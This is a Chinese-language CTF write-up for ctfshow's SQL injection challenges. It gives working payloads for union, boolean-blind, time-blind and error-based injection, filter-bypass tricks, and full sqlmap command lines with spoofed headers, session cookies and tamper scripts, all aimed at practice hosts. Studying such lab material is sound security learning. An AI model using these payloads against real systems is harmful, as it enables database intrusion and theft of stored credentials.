ctfshow——SQL注入

文章目录

  • SQL注入基本流程
  • [web 171------正常联合查询](#web 171——正常联合查询)
  • [web 172------查看源代码、联合查询](#web 172——查看源代码、联合查询)
  • [web 173------查看源代码、联合查询](#web 173——查看源代码、联合查询)
  • [web 174------布尔盲注](#web 174——布尔盲注)
  • [web 176](#web 176)
  • [web 177------过滤空格](#web 177——过滤空格)
  • [web 178------过滤空格](#web 178——过滤空格)
  • [web 179------过滤空格](#web 179——过滤空格)
  • [web 180------过滤空格](#web 180——过滤空格)
  • [web 181](#web 181)
  • [web 182](#web 182)
  • [web 201------referer、user-agent](#web 201——referer、user-agent)
  • [web 202------data](#web 202——data)
  • [web 203------method、headers](#web 203——method、headers)
  • [web 204------cookie](#web 204——cookie)
  • [web 205------鉴权](#web 205——鉴权)
  • [web 206------前后闭合](#web 206——前后闭合)
  • [web 207------tamper、过滤空格](#web 207——tamper、过滤空格)

SQL注入基本流程

普通SQL注入

php 复制代码
	id=1'    //报错,说明有注入点
	id=1 and 1=1 # //正确
	id=1 and 1=2 # //错误,说明是数字型注入,否则为字符型注入

	id=1 order by <数字> # //判断字段数
	id=1 and 1=2 union select 1,2,3, ... #   //查看回显点
	id=1 and 1=2 union select 1,2,database(), ... #   //查看数据库名
	id=1 and 1=2 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='数据库名') #   //查看表名
	id=1 and 1=2 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='数据库名' and table_name='表名') #  //查看字段名
	id=1 and 1=2 union select 1,(select group_concat(concat(字段1,'%23',字段2)) from 数据库名.表名) #   //查看字段内容

使用union select的时候,需要使前面一条语句错误。

关于注释符#-- (有个空格)--+的讨论

  • get请求中只能用--+
    url中#是用来指导浏览器动作的,对服务器端无效;在url传输过程中,-- 中的空格会被忽略。
  • post请求中则都可以。

布尔盲注

php 复制代码
	id=1' //报错,说明有注入点
	id=1 and 1=1 # //正确
	id=1 and 1=2 # //错误,说明是数字型注入,否则为字符型注入
	
	id=1 and length(database())=1 # //判断数据库名长度
	id=1 and ascii(substr(database(),1,1))=98 # //猜数据库名
	id=1 and (select count(table_name) from information_schema.tables where table_schema=database())=1 # // 猜表的个数
	id=1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),0,1))=103 # // 猜第一个表名的长度
	id=1 and (select+count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=8 # // 猜user表中的字段个数
	id=1 and length((select column_name from information_schema.columns where table_name='users' limit 0,1))=7 # //猜user表中第一个字段的长度
	id=1 and ascii(substr((select column_name from+information_schema.columns where table_name='users' limit 0,1),1,1))=117 # //猜user表中第一个字段的第一个字母
	id=1 and length((select user from dvwa.users limit 0,1))=5 # // 猜user表中user字段内容的长度
	id=1 and ascii(substr((select user from dvwa.users limit 0,1),1,1))=97 # //猜user表中中user字段值的首字母

时间盲注

php 复制代码
	id=1 and sleep(5) # //数字型则等待5秒
	id=1' and sleep(5) # //字符型则等待5秒
	id=1 and if(length(database())=4,sleep(5),1) # //猜数据库名长度
	id=1 and if(ascii((substr(database(),1,1)))=100,sleep(5),1) # //猜数据库名
	id=1 and if(select count(table_name) from information_schema.tables where table_schema=database(),sleep(5),1)=1 # // 猜表的个数
	id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),0,1))=103,sleep(5),1) # // 猜第一个表名的长度
	id=1 and if((select+count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=8,sleep(5),1) # // 猜user表中的字段个数
	id=1 and if(length((select column_name from information_schema.columns where table_name='users' limit 0,1))=7,sleep(5),1) # //猜user表中第一个字段的长度
	id=1 and if(ascii(substr((select column_name from+information_schema.columns where table_name='users' limit 0,1),1,1))=117,sleep(5),1) # //猜user表中第一个字段的第一个字母
	id=1 and if(length((select user from dvwa.users limit 0,1))=5,sleep(5),1) # // 猜user表中user字段内容的长度
	id=1 and if(ascii(substr((select user from dvwa.users limit 0,1),1,1))=97,sleep(5),1) # //猜user表中中user字段值的首字母

报错注入------extractvalue()

php 复制代码
id=1' #   //报错,说明有注入点
id=1 and 1=1 # //正确
id=1 and 1=2 # //错误,说明是数字型注入,否则为字符型注入

id=1' and (select extractvalue(1,concat('~',(select database())))) --+ //爆出当前数据库名
id=1' and (select extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='数据库名')))) --+ //查看数据库中的表
id=1' and (select extractvalue(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema='数据库名' and table_name='表名')))) --+ //查看表中的字段名
id=1' and (select extractvalue(1,concat('~',(select group_concat(concat(字段1,'%23',字段2))))) --+ //查看字段内容

进行报错注入的时候,需要对id参数进行闭合。

报错注入------updataxml()

php 复制代码
id=1' #   //报错,说明有注入点
id=1 and 1=1 # //正确
id=1 and 1=2 # //错误,说明是数字型注入,否则为字符型注入

id=1' and (select updatexml(1,concat('~ ',(select database()), '~'),1)) --+ //爆出当前数据库名
id=1' and (select updatexml(1,concat('~ ',(select group_concat(table_name) from information_schema.tables where table_schema='数据库名'), '~'),1)) //查看数据库中的表
id=1' and (select updatexml(1,concat('~ ',(select group_concat(column_name) from information_schema.columns where table_schema='数据库名' and table_name='表名'), '~'),1)) //查看表中的字段名
id=1' and (select updatexml(1,concat('~ ',(select group_concat(concat(字段1,'%23',字段2))), '~'),1)) --+ //查看字段内容

Sqlmap的用法

php 复制代码
sqlmap
sqlmap -u "url"  //-u选项是检测注入点
sqlmap -u "url" --dbs  //--dbs选项是列出所有数据库名
sqlmap -u "url" --current-db  //--current-db选项是列出当前数据库的名字
sqlmap -u "url" -D "数据库名" --tables //-D是指定一个数据库  --tables是列出这个数据库的所有表名
sqlmap -u "url" -D "数据库名" -T "表名" --columns //-T是指定表名  --columns是列出所有的字段名
sqlmap -u "url" -D "数据库名" -T "表名" -C "字段名" --dump //-C是指定字段  --dump是列出字段内容

web 171------正常联合查询

首先判断是否存在SQL注入:

php 复制代码
id=1' # 使用单引号看报不报错,报错就说明存在SQL注入
php 复制代码
id=1' order by 3 --+ 

注意:如果id='1--+',这里面的注释(--+)是不起效的。

php 复制代码
id=-1' union select 1,2,3 --+ # union前面的查询语句必须为false,这样页面才会显示出第二个select语句的结果。
php 复制代码
-1' union select database(),(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'),(select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_user') --+ # 查看数据库名、表名、字段名
php 复制代码
-1' union select 1,2,(select group_concat(concat(username,'%23',password)) from ctfshow_web.ctfshow_user) --+ # 查看字段内容

web 172------查看源代码、联合查询

查看页面源代码,发现一个js文件。访问该文件,会发现一个查询接口/api?id=1

php 复制代码
	id=1'    //报错,说明有注入点
	id=1 and 1=1 # //正确
	id=1 and 1=2 # //正确,说明不是数字型注入
	
	id=1' and 1=1 # 正确
	id=1' and 1=2 # //错误,说明是单引号闭合的字符型注入
	
	id=1' order by <数字> # //判断字段数
	id=-1' union select 1,2,3, ... #   //查看回显点
	id=-1' union select 1,2,database(), ... #   //查看数据库名
	id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='数据库名') #   //查看表名
	id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='数据库名' and table_name='表名') #  //查看字段名
	id=-1' union select 1,(select group_concat(concat(字段1,'%23',字段2)) from 数据库名.表名) #   //查看字段内容

注意:关于and 1=1and 1=2,前者恒为真,如果and前面的语句有内容,则正常输出;后者恒为假,如果and前面的语句有内容,也不会输出。故,可以通过他们俩来判断SQL注入类型。

web 173------查看源代码、联合查询

同web172

web 174------布尔盲注

php 复制代码
id=1' //判断是否存在SQL注入
id=1 and 1=1 # //正确
id=1 and 1=2 # //正确,说明不是数字型注入
	
id=1' and 1=1 # //正确
id=1' and 1=2 # //错误,说明是单引号闭合的字符型注入
id =1' and length(database())=11 --+ //通过布尔盲注猜测数据库长度

web 176

php 复制代码
1' or 1=1 --+

web 177------过滤空格

空格被过滤,就用/**/替换。

web 178------过滤空格

空格被过滤,/**/也用不了,用%09%0b替换。

web 179------过滤空格

空格被过滤,/**/%09%0b也用不了,用%0c替换。

web 180------过滤空格

空格被过滤,/**/+%09%0b也用不了,用%0c%2b(+的url编码)替换。

web 181

payload: 0'or(username='flag')and'1,插入payload后语句变成:
select id,username,password from ctfshow_user where username != 'flag' and id = '0'or(username='flag')and'1' limit 1;

  • 因为and 的优先级比 or 要高,故注入后:
    select id,username,password from ctfshow_user where username != 'flag' and id = '0'or(username='flag') limit 1;
  • 前面满足条件 id=0 的记录不存在,故该语句可简化为
    select id,username,password from ctfshow_user where (0) or(username='flag')and'1' limit 1;
  • 先计算 and,再计算 or,最后得到满足 username='flag' 的记录,即 flag

web 182

payload: -1'or(username%0clike%0c'%fla%')and%0c'1。不知道为啥这里%0c没有被过滤。

web 201------referer、user-agent

这一关开始使用sqlmap。

User-Agent需要为sqlmapreferer需要为stf.show

一种方法是抓取数据包,让sqlmap跑数据包;另一种方法是用-u参数指定要测试的网址,--user-agent用来指定UA头,--referer伪造referer。命令如下:

php 复制代码
python sqlmap.py -r test.txt //跑数据包
python sqlmap.py -u "http://6e28402d-8f54-45bc-8a52-657ffc3c35fe.challenge.ctf.show/api/?id=1&page=1&limit=10" --user-agent=sqlmap --referer=ctf.show
  • 跑数据包的时候,在需要跑的参数后面加*
  • -u参数中,链接用双引号、加上协议。


web 202------data

--data指定 sqlmap 以 post 方式提交数据。

php 复制代码
python sqlmap.py -u "https://604a8386-7689-44bb-a7e1-b532cbe9ff5a.challenge.ctf.show/api/index.php" --data "id=1" --user-agent=sqlmap --referer=ctf.show

web 203------method、headers

--method=put:更改http请求方式为put,put请求用于向服务器更新指定资源。--headers用来告诉服务器这次传输的数据格式。

php 复制代码
python sqlmap.py -u "http://a8e2bd07-1e16-4e83-9752-5634117000e4.challenge.ctf.show/api/index.php" --data "id=1" --user-agent=sqlmap --referer=ctf.show --method=put --header="Content-Type:text/plain"

--cookie:在请求头中添加cookie字段。

php 复制代码
python sqlmap.py -u "http://5c93dea2-8127-4efb-915b-7564efdc6107.challenge.ctf.show/api/index.php" --data "id=1" --user-agent=sqlmap --referer=ctf.show --method=put --headers="Content-Type:text/plain" --cookie="PHPSESSID=jc9bhjq7q61trcapiu02gm6430; ctfshow=124cf7ab13ecc64b6e21a9de8cdb8511"

要将url链接写完整,index.php都要加上!!!

web 205------鉴权

这一关在正式查询之前,会先访问/api/getToken.php进行鉴权。--safe-url=SAFEURL:设置在测试目标地址前访问的安全链接。--safe-freq=1:每次测试请求之后都会访问一下的安全 URL。

php 复制代码
python sqlmap.py -u "http://879bff8e-d7da-4064-ba34-093ed4aa03da.challenge.ctf.show/api/index.php" --data "id=1" --user-agent=sqlmap --referer=ctf.show --method=put --headers="Content-Type:text/plain" --cookie="PHPSESSID=vlqa3pc2obqitu6addelltlqj7" --safe-url="http://879bff8e-d7da-4064-ba34-093ed4aa03da.challenge.ctf.show/api/getToken.php" --safe-freq=1

web 206------前后闭合

这一关需要闭合前面的(',所以--prefic="')"闭合('--suffic="#"注释掉查询语句后面的部分。

php 复制代码
python sqlmap.py -u "http://351530ad-baec-440f-9296-b317d6187679.challenge.ctf.show/api/index.php" --data "id=1" --user-agent=sqlmap --referer=ctf.show --method=put --headers="Content-Type:text/plain" --cookie="PHPSESSID=ggtmp49c0gjq9fihihrhkij83m" --safe-url="http://351530ad-baec-440f-9296-b317d6187679.challenge.ctf.show/api/getToken.php" --safe-freq=1 --prefix="')" --suffix="#"

web 207------tamper、过滤空格

过滤空格

php 复制代码
python sqlmap.py -u "http://75b5df82-82e4-44ec-8bfb-8e99392e8202.challenge.ctf.show/api/index.php" --data "id=1" --user-agent=sqlmap --referer=ctf.show --method=put --headers="Content-Type:text/plain" --cookie="PHPSESSID=43010km376i0fhhmsn6lopr3r3" --safe-url="http://75b5df82-82e4-44ec-8bfb-8e99392e8202.challenge.ctf.show/api/getToken.php" --safe-freq=1 --prefix="')" --suffix="#" --tamper=space2comment
相关推荐
大方子1 小时前
【PolarCTF】rce1
网络安全·polarctf
枷锁—sha3 小时前
Burp Suite 抓包全流程与 Xray 联动自动挖洞指南
网络·安全·网络安全
聚铭网络3 小时前
聚铭网络再度入选2026年度扬州市网络和数据安全服务资源池单位
网络安全
darkb1rd5 小时前
八、PHP SAPI与运行环境差异
开发语言·网络安全·php·webshell
世界尽头与你10 小时前
(修复方案)基础目录枚举漏洞
安全·网络安全·渗透测试
枷锁—sha1 天前
【SRC】SQL注入快速判定与应对策略(一)
网络·数据库·sql·安全·网络安全·系统安全
liann1191 天前
3.1_网络——基础
网络·安全·web安全·http·网络安全
ESBK20251 天前
第四届移动互联网、云计算与信息安全国际会议(MICCIS 2026)二轮征稿启动,诚邀全球学者共赴学术盛宴
大数据·网络·物联网·网络安全·云计算·密码学·信息与通信
旺仔Sec1 天前
一文带你看懂免费开源 WAF 天花板!雷池 (SafeLine) 部署与实战全解析
web安全·网络安全·开源·waf
七牛云行业应用1 天前
Moltbook一夜崩盘:150万密钥泄露背后的架构“死穴”与重构实战
网络安全·postgresql·架构·高并发·七牛云